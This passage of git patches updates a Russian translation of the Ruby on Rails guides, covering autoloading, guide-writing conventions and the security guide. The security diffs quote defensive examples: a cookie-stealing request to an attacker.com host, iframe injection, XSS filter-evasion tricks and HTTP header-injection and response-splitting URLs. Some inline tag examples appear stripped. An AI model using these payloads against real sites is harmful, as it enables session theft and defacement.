модуля могли зависеть от порядка загрузки, были крайние случаи с синглтон-классами, часто нужно было использовать `require_dependency` как обходной путь, .... Руководство для режима `classic` документирует [эти проблемы](/autoloading_and_reloading_constants_classic_mode#common-gotchas). + +Все эти проблемы были решены в режиме `zeitwerk`, он просто работает как ожидается, и `require_dependency` больше не должен быть использован, он больше не нужен. + +### Меньший поиск файлов + +В режиме `classic` каждая отсутствующая константа запускала поиск файла, проходящий по путям автозагрузки. + +В режиме `zeitwerk` есть только один проход. Этот проход осуществляется один раз, а не для отсутствующей константы, и в целом это более производительно. Поддиректории посещаются только тогда, когда используется их пространство имен. + +### Underscore vs Camelize + +Словообразование идет в противоположные стороны. + +В режиме `classic`, для отсутствующей константы Rails делает _underscores_ на ее имени и осуществляет поиск файла. С другой стороны, режим `zeitwerk` сперва проверяет файловую систему, и делает _camelizes_ на именах файлов, чтобы узнать константы, которые они ожидаемо определяют. + +В то время как для обычных имен эти операции соответствуют, но для аббревиатур или пользовательских правил словообразования, могут не соответствовать. Например, по умолчанию `"HTMLParser".underscore` это `"html_parser"`, а `"html_parser".camelize` это `"HtmlParser"`. + +### Больше различий + +Есть еще несколько небольших отличий, за подробностями обратитесь к [этому разделу руководства _Апгрейд Ruby on Rails_](/upgrading-ruby-on-rails#autoloading). + +Режим Classic устарел +--------------------- + +К настоящему моменту все еще возможно использовать режим `classic`. Но `classic` устарел и со временем будет удален. + +Новые приложения должны использовать режим `zeitwerk` (который по умолчанию), и обновляемые приложениям строго рекомендуется мигрировать на режим `zeitwerk`. Пожалуйста, за подробностями обратитесь к [руководству _Апгрейд Ruby on Rails_](/upgrading-ruby-on-rails#autoloading) + Выключение ---------- @@ -283,7 +445,7 @@ Rails.autoloaders.zeitwerk_enabled? ```ruby # config/application.rb -config.load_defaults "6.x" +config.load_defaults 6.0 config.autoloader = :classic ``` diff --git a/source/autoloading_and_reloading_constants_classic_mode.md b/source/autoloading_and_reloading_constants_classic_mode.md index 801d657d..6c7a4e6f 100644 --- a/source/autoloading_and_reloading_constants_classic_mode.md +++ b/source/autoloading_and_reloading_constants_classic_mode.md @@ -667,8 +667,8 @@ Rails широко используют его внутренне, чтобы о Реализация с помощью `Module#autoload` могла бы быть великолепной, но, как видите, как минимум сегодня она не возможна. Автозагрузка констант в Rails реализована с помощью `Module#const_missing`, и поэтому у нее есть свои соглашения, документированные в этом руководстве. -Распространенные случаи ------------------------ +(common-gotchas) Распространенные случаи +---------------------------------------- ### Вложенность и ограниченные константы diff --git a/source/index.yml b/source/index.yml index 4bc44e8e..1dca1191 100644 --- a/source/index.yml +++ b/source/index.yml @@ -213,8 +213,8 @@ pages: - title: Автозагрузка и перезагрузка констант (режим Zeitwerk) path: constant_autoloading_and_reloading file: autoloading_and_reloading_constants.md - revision: 72af2c42a76a1f3cf2268fdef15e270d581482fb - date: 11/07/2019 + revision: e6fd87bda8148871ee28bb730ca9b63e23dd6fa4 + date: 04/02/2021 - title: Автозагрузка и перезагрузка констант (режим Classic) path: autoloading_and_reloading_constants_classic_mode diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index 322ffedd..3ffee471 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -257,7 +257,7 @@ resp.content_type #=> "text/csv; header=present; charset=utf-16" resp.media_type #=> "text/csv" ``` -### Автозагрузка +### (autoloading) Автозагрузка Конфигурация по умолчанию для Rails 6 From 21e97c2aae4397af6dba4b8b2c30c29444e952c3 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sun, 21 Feb 2021 21:54:50 +0300 Subject: [PATCH 556/932] Update guides guide --- source/index.yml | 4 +- source/ruby_on_rails_guides_guidelines.md | 47 ++++++++++++----------- 2 files changed, 26 insertions(+), 25 deletions(-) diff --git a/source/index.yml b/source/index.yml index 1dca1191..cf108e6f 100644 --- a/source/index.yml +++ b/source/index.yml @@ -285,8 +285,8 @@ pages: - title: Рекомендации для руководств по Ruby on Rails path: ruby_on_rails_guides_guidelines file: ruby_on_rails_guides_guidelines.md - revision: 7b9c19d94b18f340552f95225bf01d6f91804184 - date: 24/07/2018 + revision: 2f87589630aa30099fb8f910bd3963ff95be7e23 + date: 05/07/2020 - title: Установка зависимостей для разработки path: development_dependencies_install diff --git a/source/ruby_on_rails_guides_guidelines.md b/source/ruby_on_rails_guides_guidelines.md index d5264dad..d88863e1 100644 --- a/source/ruby_on_rails_guides_guidelines.md +++ b/source/ruby_on_rails_guides_guidelines.md @@ -13,7 +13,7 @@ Markdown -------- -Руководства написаны на [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). Имеется полная [документация по Markdown](http://daringfireball.net/projects/markdown/syntax), а также [шпаргалка](http://daringfireball.net/projects/markdown/basics). +Руководства написаны на [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). Имеется полная [документация по Markdown](http://daringfireball.net/projects/markdown/syntax), а также [шпаргалка](https://daringfireball.net/projects/markdown/basics). Пролог ------ @@ -38,6 +38,7 @@ Section При написании заголовков начинайте с заглавной буквы все слова, кроме предлогов, союзов, внутренних артиклей и форм глагола "to be": ``` +#### Assertions and Testing Jobs inside Components #### Middleware Stack is an Array #### When are Objects Saved? ``` @@ -56,7 +57,7 @@ Section Ссылки, включающие тег релиза, оставляются неизменными. Например ``` -http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html +https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html ``` не модифицируется. @@ -66,25 +67,25 @@ http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.h Если ссылка не включает тег версии и генерируются руководства edge, домен заменяется на `edgeapi.rubyonrails.org`. Например, ``` -http://api.rubyonrails.org/classes/ActionDispatch/Response.html +https://api.rubyonrails.org/classes/ActionDispatch/Response.html ``` становится ``` -http://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html +https://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html ``` Если ссылка не включает тег релиза, и генерируются руководства релиза, вставляется версия Rails. Например, если генерируются руководства для v5.1.0, ссылка ``` -http://api.rubyonrails.org/classes/ActionDispatch/Response.html +https://api.rubyonrails.org/classes/ActionDispatch/Response.html ``` становится ``` -http://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html +https://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html ``` Пожалуйста, не ссылайтесь на `edgeapi.rubyonrails.org` вручную. @@ -103,7 +104,7 @@ http://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html Руководства в HTML ------------------ -До генерации руководств, убедитесь, что используете последнюю версию Bundler в своей системе. На момент написания этих строк, вам нужно установить на свое устройство Bundler 1.3.5 или более поздний. +До генерации руководств, убедитесь, что используете последнюю версию Bundler в своей системе. Последнюю версию Bundler можно найти [тут](https://rubygems.org/gems/bundler). На момент написания этих строк это v1.17.1. Чтобы установить последнюю версию Bundler, запустите `gem install bundler`. @@ -111,23 +112,23 @@ http://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html Чтобы сгенерировать все руководства, просто сделайте `cd` в директорию `guides`, запустите `bundle install` и выполните: -``` -bundle exec rake guides:generate +```bash +$ bundle exec rake guides:generate ``` или -``` -bundle exec rake guides:generate:html +```bash +$ bundle exec rake guides:generate:html ``` Результирующие файлы HTML будут в директории `./output`. Чтобы обработать `my_guide.md` и ничего, кроме него, используйте переменную среды `ONLY`: -``` -touch my_guide.md -bundle exec rake guides:generate ONLY=my_guide +```bash +$ touch my_guide.md +$ bundle exec rake guides:generate ONLY=my_guide ``` По умолчанию неизмененные руководства не обрабатываются, поэтому `ONLY` редко нужна на практике. @@ -136,25 +137,25 @@ bundle exec rake guides:generate ONLY=my_guide Если хотите сгенерировать руководства на языке ином, чем английский, можете держать их в отдельной директории в `source` (то есть `source/es`) и использовать переменную среды `GUIDES_LANGUAGE`: -``` -bundle exec rake guides:generate GUIDES_LANGUAGE=es +```bash +$ bundle exec rake guides:generate GUIDES_LANGUAGE=es ``` Если хотите увидеть все переменные окружения, которые могут использоваться генерационным скриптом, просто запустите: -``` -rake +```bash +$ rake ``` ### Валидация Пожалуйста, проверяйте сгенерированный HTML с помощью: -``` -bundle exec rake guides:validate +```bash +$ bundle exec rake guides:validate ``` -В частности, заголовки имеют ID, сгенерированный на основе их содержания, и это часто ведет к дубликатам. Установите `WARNINGS=1` при генерации руководств, чтобы обнаружить их. Сообщение с предупреждением предложит решение. +В частности, заголовки имеют ID, сгенерированный на основе их содержания, и это часто ведет к дубликатам. Руководства для Kindle ---------------------- @@ -163,6 +164,6 @@ bundle exec rake guides:validate Чтобы сгенерировать руководства для Kindle, используйте следующую задачу rake: -``` -bundle exec rake guides:generate:kindle +```bash +$ bundle exec rake guides:generate:kindle ``` From b45c6fe9015e4b93b969adbef131da00207fa1b1 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Wed, 24 Feb 2021 12:19:17 +0300 Subject: [PATCH 557/932] Update security guide --- source/index.yml | 4 +- source/security.md | 131 +++++++++++++++++++-------------------------- 2 files changed, 57 insertions(+), 78 deletions(-) diff --git a/source/index.yml b/source/index.yml index cf108e6f..98042848 100644 --- a/source/index.yml +++ b/source/index.yml @@ -159,8 +159,8 @@ pages: - title: Безопасность приложений на Rails path: ruby-on-rails-security-guide file: security.md - revision: 58256db50750781016f5ea6d2dd6cbc72096062b - date: 24/06/2019 + revision: d9b286bf8a557e51388cfef85a7b8174973ecb90 + date: 08/02/2021 - title: Отладка приложений на Rails path: debugging-rails-applications diff --git a/source/security.md b/source/security.md index 8380e1b3..8a6f2606 100644 --- a/source/security.md +++ b/source/security.md @@ -58,7 +58,7 @@ config.force_ssl = true * Часто межсайтовый скриптинг (XSS, cross-site scripting) ставит целью получение куки пользователя. [Подробнее о XSS](#cross-site-scripting-xss) вы прочитаете позже. * Вместо похищения неизвестных злоумышленнику куки, он изменяет идентификатор сессии пользователя (в куки) на известный ему. Об этих так называемых фиксациях сессии вы прочитаете позже. -Основная цель большинства злоумышленников это сделать деньги. Подпольные цены за краденную банковскую учетную запись варьируются в пределах 0.5%-10% от баланса на аккаунте, $0.5-$30 за номер кредитной карточки ($20-$60 с полной информацией), $0.1-$1.5 для идентификаторов (имя, SSN & DOB), $20-$50 для аккаунтов продавцов и $6-$10 для аккаунтов поставщиков облачных услуг, в соответствии с [Symantec Internet Security Threat Report (2017)](https://www.symantec.com/content/dam/symantec/docs/reports/istr-22-2017-en.pdf). +Основная цель большинства злоумышленников это сделать деньги. Подпольные цены за краденную банковскую учетную запись варьируются в пределах 0.5%-10% от баланса на аккаунте, $0.5-$30 за номер кредитной карточки ($20-$60 с полной информацией), $0.1-$1.5 для идентификаторов (имя, SSN и дата рождения), $20-$50 для аккаунтов продавцов и $6-$10 для аккаунтов поставщиков облачных услуг, в соответствии с [Symantec Internet Security Threat Report (2017)](https://www.symantec.com/content/dam/symantec/docs/reports/istr-22-2017-en.pdf). ### Хранение сессии @@ -80,7 +80,7 @@ TIP: Узнайте подробности о других хранилищах `CookieStore` использует [зашифрованные](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted) куки, чтобы предоставить безопасное, зашифрованное место расположения для хранения данных сессии. Таким образом, сессии на основе куки обеспечивают как целостность, так и конфиденциальность их содержимого. Ключ шифрования, а также ключ верификации, используемый для [подписанных](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) куки, получены из конфигурационного значения `secret_key_base`. -TIP: Секретные ключи должны быть длинными и случайными. Используйте `rails secret` для получения новых уникальных секретных ключей. +TIP: Секретные ключи должны быть длинными и случайными. Используйте `bin/rails secret` для получения новых уникальных секретных ключей. INFO: Изучите подробности об [управлении учетными данными далее в этом руководстве](#custom-credentials) @@ -88,7 +88,7 @@ INFO: Изучите подробности об [управлении учет В test и development средах приложения получают `secret_key_base` из имени приложения. В других средах должен использоваться случайный ключ, присутствующий в `config/credentials.yml.enc`, показанный здесь в дешифрованном состоянии: -``` +```yaml secret_key_base: 492f... ``` @@ -136,7 +136,7 @@ NOTE: _Другой тип атак, которого следует опаса Включение поля nonce (случайное значение) в сессию решает проблему атак повторного воспроизведения. Поле nonce валидно только один раз, и сервер должен отслеживать все валидные nonce. Такое становится еще более сложным, если у вас несколько серверов приложений. Хранение nonce в таблице базы данных аннулирует основную цель CookieStore (избежание доступа к базе данных). -Лучшее _решение против атак - это хранить данные такого рода не в сессии, а в базе данных_. В нашем случае храните величину кредита в базе данных, а logged_in_user_id в сессии. +Лучшее _решение против атак - это хранить данные такого рода не в сессии, а в базе данных_. В нашем случае храните величину кредита в базе данных, а `logged_in_user_id` в сессии. ### Фиксации сессии @@ -180,7 +180,7 @@ class Session < ApplicationRecord time = time.split.inject { |count, unit| count.to_i.send(unit) } end - delete_all "updated_at < '#{time.ago.to_s(:db)}'" + where("updated_at < ?", time.ago.to_s(:db)).delete_all end end ``` @@ -188,8 +188,7 @@ end Раздел о фиксации сессии представил проблему поддержки сессий. Злоумышленник, поддерживающий сессию каждые пять минут, будет поддерживать срок жизни сессии вечно, хотя у сессии и есть срок действия. Простым решением для этого может быть добавление столбца `created_at` в таблицу sessions. Теперь можете удалять сессии, которые были созданы очень давно. Используйте эту строчку в вышеупомянутом методе sweep: ```ruby -delete_all "updated_at < '#{time.ago.to_s(:db)}' OR - created_at < '#{2.days.ago.to_s(:db)}'" +where("updated_at < ? OR created_at < ?", time.ago.to_s(:db), 2.days.ago.to_s(:db)).delete_all ``` (cross-site-request-forgery-csrf) Межсайтовая подделка запроса (CSRF, Cross-Site Request Forgery) @@ -252,15 +251,15 @@ _Запросы POST также могут быть посланы автома NOTE: Мы не можем отличить домен тега ` ``` @@ -704,7 +682,7 @@ INFO: _Наиболее распространенная и одна из наи GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ``` -Можно смягчить эти атаки (очевидным способом) добавив к куки флаг **httpOnly**, таким образом, document.cookie не сможет быть прочитан JavaScript. Http only куки могут использоваться начиная с IE v6.SP1, Firefox v2.0.0.5 и Opera 9.5, Safari 4 и Chrome 1.0.154 и выше. Но другие, более старые браузеры (такие как WebTV и IE 5.5 on Mac) могут фактически отказаться загружать страницу. Однако, будьте осторожны, что куки [все еще видны при использовании Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/). +Можно смягчить эти атаки (очевидным способом) добавив к куки флаг **httpOnly**, таким образом, `document.cookie` не сможет быть прочитан JavaScript. HTTP-only куки могут использоваться начиная с IE v6.SP1, Firefox v2.0.0.5 и Opera 9.5, Safari 4 и Chrome 1.0.154 и выше. Но другие, более старые браузеры (такие как WebTV и IE 5.5 on Mac) могут фактически отказаться загружать страницу. Однако, будьте осторожны, что куки [все еще видны при использовании Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/). ##### Искажение @@ -714,7 +692,7 @@ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ``` -Это загрузит произвольный HTML и/или JavaScript с внешнего источника и внедрит его, как часть сайта. Этот iframe взят из настоящей атаки на правительственные итальянские сайты с использованием [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack пытается установить злонамеренное программное обеспечение через дыры безопасности в веб-браузере – очень успешно, 50% атак успешны. +Это загрузит произвольный HTML и/или JavaScript с внешнего источника и внедрит его, как часть сайта. Этот `iframe` взят из настоящей атаки на правительственные итальянские сайты с использованием [Mpack attack framework](https://isc.sans.org/diary.html?storyid=3015). Mpack пытается установить злонамеренное программное обеспечение через дыры безопасности в веб-браузере – очень успешно, 50% атак успешны. Более специализированные атаки могут накрывать целые веб-сайты или отображать форму входа, которая выглядит как такая же на оригинальном сайте, но передает имя пользователя и пароль на сайт злоумышленников. Или могут использовать CSS и/или JavaScript, чтобы спрятать настоящую ссылку в веб-приложении, и отобразить на ее месте другую, которая перенаправит на фальшивый веб-сайт. @@ -731,13 +709,13 @@ _Очень важно отфильтровывать злонамеренный Особенно для XSS, важно делать _фильтрацию ввода с помощью списка разрешений, а не ограничений_. Фильтрация списком разрешений устанавливает допустимые значения, остальные значения недопустимы. Списки ограничений всегда не законченные. -Предположим, список ограничений удаляет "script" из пользовательского ввода. Теперь злоумышленник встраивает "<scrscriptipt>", и после фильтра остается "<script>". Ранние версии Rails использовали подход списка ограничений для методов strip_tags(), strip_links() и sanitize(). Поэтому такой сорт инъекций был возможен: +Предположим, список ограничений удаляет "script" из пользовательского ввода. Теперь злоумышленник встраивает `""`, и после фильтра остается `""`, что позволит осуществиться атаке. Вот почему подход списка разрешений лучше при использовании метода Rails 2 sanitize(): ```ruby tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) @@ -746,7 +724,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title)) Это допустит только заданные теги и сделает все хорошо, даже против всех ухищрений и злонамеренных тегов. -В качестве второго шага, _хорошо экранировать весь вывод в приложении_, особенно при отображении пользовательского ввода, который не был отфильтрован при вводе (как в примере выше). _Используйте метод `escapeHTML()` (или его псевдоним `h()`)_, чтобы заменить введенные символы HTML &, ", <, > их неинтерпретируемыми представителями в HTML (`&`, `"`, `<` и `>`). +В качестве второго шага, _хорошо экранировать весь вывод в приложении_, особенно при отображении пользовательского ввода, который не был отфильтрован при вводе (как в примере выше). _Используйте метод `escapeHTML()` (или его псевдоним `h()`)_, чтобы заменить введенные символы HTML `&`, `"`, `<` и `>` их неинтерпретируемыми представителями в HTML (`&`, `"`, `<` и `>`). ##### Обфусцированная и закодированная инъекция @@ -769,13 +747,14 @@ _Чтобы понять сегодняшние атаки на веб-прил ``` Черви использовали дыру в фильтре HTML/JavaScript Yahoo, который обычно фильтровал все атрибуты target и onload из тегов (потому что там мог быть JavaScript). Однако фильтр применялся только раз, поэтому атрибут onload с кодом червя оставался. Это хороший пример, почему фильтры списка ограничений никогда не полные, и почему трудно позволить HTML/JavaScript в веб-приложении. Другой прототипный веб-почтовый червь Nduja, междоменный червь для четырех итальянских веб-почтовых сервисов. Более детально описано в [статье Rosario Valotta](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Оба почтовых червя имели целью собрать почтовые адреса, на чем преступный хакер мог сделать деньги. -В декабре 2006 года 34,000 имени фактических пользователей и их пароли были похищены во время [фишинговой атаки на MySpace](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). Идеей атаки было создание профиля, названного "login_home_index_html", поэтому URL выглядел очень правдоподобно. Специально созданный HTML и CSS использовался, чтобы скрыть настоящий контент MySpace и вместо этого отразить собственную форму входа. +В декабре 2006 года 34,000 имени фактических пользователей и их пароли были похищены во время [фишинговой атаки на MySpace](https://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). Идеей атаки было создание профиля, названного "login_home_index_html", поэтому URL выглядел очень правдоподобно. Специально созданный HTML и CSS использовался, чтобы скрыть настоящий контент MySpace и вместо этого отразить собственную форму входа. ### CSS-инъекция @@ -797,21 +776,21 @@ MySpace блокировал много тегов, но позволял CSS. Функция `eval()` - это кошмар для фильтров ввода на основе списка ограничений, так как она позволяет атрибуту стиля спрятать слово "innerHTML": -``` +```js alert(eval('document.body.inne' + 'rHTML')); ``` -Следующей проблемой было то, что MySpace фильтровал слово "javascript", поэтому автор использовал "java<NEWLINE>script" чтобы обойти это: +Следующей проблемой было то, что MySpace фильтровал слово `"javascript"`, поэтому автор использовал `"javascript"` чтобы обойти это: ```html -
    +
    ``` Следующей проблемой для автора червя были [токены безопасности CSRF](#cross-site-request-forgery-csrf). Без них он не смог бы послать запросы дружбы через POST. Он обошел это, посылая GET на страницу перед добавлением пользователя и парся результат на токен CSRF. В итоге он получил 4 KB червя, которого внедрил в свою страницу профиля. -Свойство [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS предоставляет другой способ внедрить JavaScript в CSS в основанных на Gecko браузерах (Firefox, к примеру). +Свойство [moz-binding](https://www.securiteam.com/securitynews/5LP051FHPE.html) CSS предоставляет другой способ внедрить JavaScript в CSS в основанных на Gecko браузерах (Firefox, к примеру). #### Контрмеры @@ -821,21 +800,21 @@ alert(eval('document.body.inne' + 'rHTML')); Если хотите предоставить форматирование текста иное, чем HTML (для безопасности), используйте разметочный язык, конвертируемый в HTML на сервере. [RedCloth](http://redcloth.org/) - это такой язык для Ruby, но без мер предосторожности он также уязвим к XSS. -Например, RedCloth переводит `_test_` в <em>test<em>, который делает текст курсивом. Однако, до версии 3.0.4 была уязвимость к XSS. Возьмите [новую версию 4](http://www.redcloth.org), в которой убраны серьезные программные ошибки. Однако даже эта версия имела (на момент написания статьи) [несколько программных ошибок безопасности](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), поэтому контрмеры только принимались. Вот пример для версии 3.0.4: +Например, RedCloth переводит `_test_` в `test`, который делает текст курсивом. Однако, до версии 3.0.4 была уязвимость к XSS. Возьмите [новую версию 4](http://www.redcloth.org), в которой убраны серьезные программные ошибки. Однако даже эта версия имела (на момент написания статьи) [несколько программных ошибок безопасности](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), поэтому контрмеры только принимались. Вот пример для версии 3.0.4: ```ruby RedCloth.new('').to_html # => "" ``` -Используем опцию :filter_html, чтобы устранить HTML, который не был создан процессором Textile. +Используем опцию `:filter_html`, чтобы устранить HTML, который не был создан процессором Textile. ```ruby RedCloth.new('', [:filter_html]).to_html # => "alert(1)" ``` -Однако, это не отфильтрует весь HTML, некоторые теги останутся (преднамеренно), например <a>: +Однако, это не отфильтрует весь HTML, некоторые теги останутся (преднамеренно), например ``: ```ruby RedCloth.new("hello", [:filter_html]).to_html @@ -856,7 +835,7 @@ NOTE: _Те же меры безопасности должны быть при NOTE: _Используйте предоставленные пользователем параметры командной строки с предосторожностью_ -Если приложение выполняет команды в лежащей в основе операционной системе, имеется несколько методов в Ruby: `exec(command)`, `syscall(command)`, `system(command)` и `command`. Вы должны быть особенно осторожны с этими функциями, если пользователь может вводить целые команды или часть их. Это так, потому что во многих оболочках можно выполнять другую команду в конце первой, разделяя их точкой с запятой (;) или вертикальной чертой (|). +Если приложение выполняет команды в лежащей в основе операционной системе, имеется несколько методов в Ruby: `exec(command)`, `syscall(command)`, `system(command)` и `command`. Вы должны быть особенно осторожны с этими функциями, если пользователь может вводить целые команды или часть их. Это так, потому что во многих оболочках можно выполнять другую команду в конце первой, разделяя их точкой с запятой (`;`) или вертикальной чертой (`|`). Контрмерой является _использование метода `system(command, parameters)`, который передает параметры командной строки безопасно_. @@ -877,7 +856,7 @@ WARNING: _Заголовки HTTP динамически генерируютс redirect_to params[:referer] ``` -Что произойдет, если Rails поместит строку в заголовок Location и пошлет статус 302 (redirect) браузеру. Первое, что сделает злонамеренный пользователь, это: +Что произойдет, если Rails поместит строку в заголовок `Location` и пошлет статус 302 (redirect) браузеру. Первое, что сделает злонамеренный пользователь, это: ``` http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld @@ -890,9 +869,9 @@ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tl http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:`http://www.malicious.tld ``` -Отметьте, что "%0d%0a" это URL-код для "\r\n", являющиеся возвратом каретки и новой строчкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое. +Отметьте, что `%0d%0a` это URL-закодированные `\r\n`, являющиеся возвратом каретки и новой строчкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое. -``` +```http HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld @@ -904,10 +883,10 @@ Location: http://www.malicious.tld Если инъекция заголовка была возможна, то разделение отклика также возможно. В HTTP блок заголовка заканчивается двумя CRLF, затем идут сами данные (обычно HTML). Идея разделения отклика состоит во внедрении двух CRLF в поле заголовка, после которых следует другой отклик со злонамеренным HTML. Отклик будет таким: -``` +```http HTTP/1.1 302 Found [First standard 302 response] Date: Tue, 12 Apr 2005 22:09:07 GMT -Location:
Content-Type: text/html +Location:Content-Type: text/html HTTP/1.1 200 OK [Second New response created by attacker begins] @@ -992,11 +971,11 @@ config.action_dispatch.default_headers.clear Вот список обычных заголовков: -* **X-Frame-Options:** _'SAMEORIGIN' по умолчанию в Rails_ - позволяет фреймы на том же домене. Установите 'DENY' для запрета фреймов или 'ALLOWALL', если хотите разрешить фреймы для всех веб-сайтах. +* **X-Frame-Options:** _`SAMEORIGIN` по умолчанию в Rails_ - позволяет фреймы на том же домене. Установите 'DENY' для запрета фреймов или совсем уберите этот заголовок, если хотите разрешить фреймы для всех веб-сайтах. -* **X-XSS-Protection:** _'1; mode=block' по умолчанию в Rails_ - использовать XSS Auditor и блокировать страницу, если обнаружена атака XSS. Установите его '0;', если хотите отключить XSS Auditor (полезно, если отклик содержит скрипты из параметров запроса). +* **X-XSS-Protection:** _`1; mode=block` по умолчанию в Rails_ - использовать XSS Auditor и блокировать страницу, если обнаружена атака XSS. Установите его '0;', если хотите отключить XSS Auditor (полезно, если отклик содержит скрипты из параметров запроса). -* **X-Content-Type-Options:** _'nosniff' по умолчанию в Rails_ - останавливает браузер от угадывания типа MIME файла. +* **X-Content-Type-Options:** _`nosniff` по умолчанию в Rails_ - останавливает браузер от угадывания типа MIME файла. * **X-Content-Security-Policy:** [Мощный механизм для контроля с каких сайтов может быть загружен определенный контент](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html). @@ -1111,29 +1090,29 @@ Rails.application.config.content_security_policy_nonce_generator = -> request { ### (custom-credentials) Настраиваемые учетные данные -Rails хранит секретные данные в `config/credentials.yml.enc`, которые зашифрованы, и поэтому не могут быть непосредственно отредактированы. Rails использует `config/master.key`, или альтернативно ищет переменную среды `ENV["RAILS_MASTER_KEY"]` для шифровки файла учетных данных. Файл учетных данных можно хранить в контроле версий, пока главный ключ держится в безопасности. +Rails хранит секретные данные в `config/credentials.yml.enc`, которые зашифрованы, и поэтому не могут быть непосредственно отредактированы. Rails использует `config/master.key`, или альтернативно ищет переменную среды `ENV["RAILS_MASTER_KEY"]` для шифровки файла учетных данных. Так как файл учетных данных зашифрован, его можно хранить в контроле версий, пока главный ключ держится в безопасности. -Чтобы добавить новый секрет в учетные данные, сперва запустите `rails secret` для получения нового секрета. Затем запустите `rails credentials:edit` для редактирования учетных данных и добавьте секрет. Запуск `credentials:edit` создаст новый файл учетных данных и главный ключ, если они еще не существуют. +По умолчанию файл учетных данных содержит секретный ключ приложения `secret_key_base`. Он также может использоваться для хранения других учетных данных, таких как ключи доступа к внешним API. -По умолчанию этот файл содержит секретный ключ приложения `secret_key_base`, но он может использоваться также для хранения других учетных данных, таких как ключи доступа к внешним API. +Чтобы отредактировать файл учетных данных, запустите `bin/rails credentials:edit`. Эта команда создаст файл учетных данных, если он не существует. Помимо этого, команда создаст `config/master.key`, если главный ключ не определен. -Секреты, добавленные в файл учетных данных, доступны через `Rails.application.credentials`. -Например, со следующим дешифрованным `config/credentials.yml.enc`: +Секреты, добавленные в файл учетных данных, доступны через `Rails.application.credentials`. Например, со следующим дешифрованным `config/credentials.yml.enc`: -``` -secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 +```yaml +secret_key_base: 3b7cd72... some_api_key: SOMEKEY ``` -`Rails.application.credentials.some_api_key` вернет `SOMEKEY` в любой среде. +`Rails.application.credentials.some_api_key` вернет `"SOMEKEY"`. -Если вы хотите вызвать исключение, когда ключ пустой, используйте версию с восклицательным знаком: +Если вы хотите вызвать исключение, когда ключ пустой, можно использовать версию с восклицательным знаком: ```ruby -Rails.application.credentials.some_api_key! # => вызовет KeyError: :some_api_key is blank +# Когда some_api_key пустой... +Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank ``` -TIP: Изучите подробности об учетных данных с помощью `rails credentials:help`. +TIP: Изучите подробности об учетных данных с помощью `bin/rails credentials:help`. WARNING: Храните ваш главный ключ в безопасности. Не добавляйте ваш главный ключ в систему контроля версий. @@ -1149,5 +1128,5 @@ WARNING: Храните ваш главный ключ в безопасност * Подпишитесь на [рассылку](https://groups.google.com/forum/#!forum/rubyonrails-security) о безопасности Rails. * [Brakeman - сканер безопасности Rails](https://brakemanscanner.org/) - Для выполнения статического анализа безопасности для Rails приложений. -* [Будьте в курсе о других уровнях приложений.](http://secunia.com/) (у них тоже есть еженедельная рассылка). +* [Mozilla's Web Security Guidelines](https://infosec.mozilla.org/guidelines/web_security.html) - Рекомендации по темам, покрывающим Content Security Policy, заголовки HTTP, Cookies, конфигурация TLS и т.д. * [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md). From fecb83c47909104930e0fe2a0c35f5b461829a0a Mon Sep 17 00:00:00 2001 From: Mikhail Date: Wed, 24 Feb 2021 12:26:34 +0300 Subject: [PATCH 558/932] Rails security update --- Gemfile | 2 +- Gemfile.lock | 98 ++++++++++++++++++++++++++-------------------------- 2 files changed, 50 insertions(+), 50 deletions(-) diff --git a/Gemfile b/Gemfile index 7b53587e..292438a4 100644 --- a/Gemfile +++ b/Gemfile @@ -2,7 +2,7 @@ source 'https://rubygems.org/' ruby '2.4.1' gem 'bundler', '~> 2.1' -gem 'rails', " ~> 5.2.4.3" +gem 'rails', " ~> 5.2.4.5" gem 'russian' gem 'static_docs' #, path: 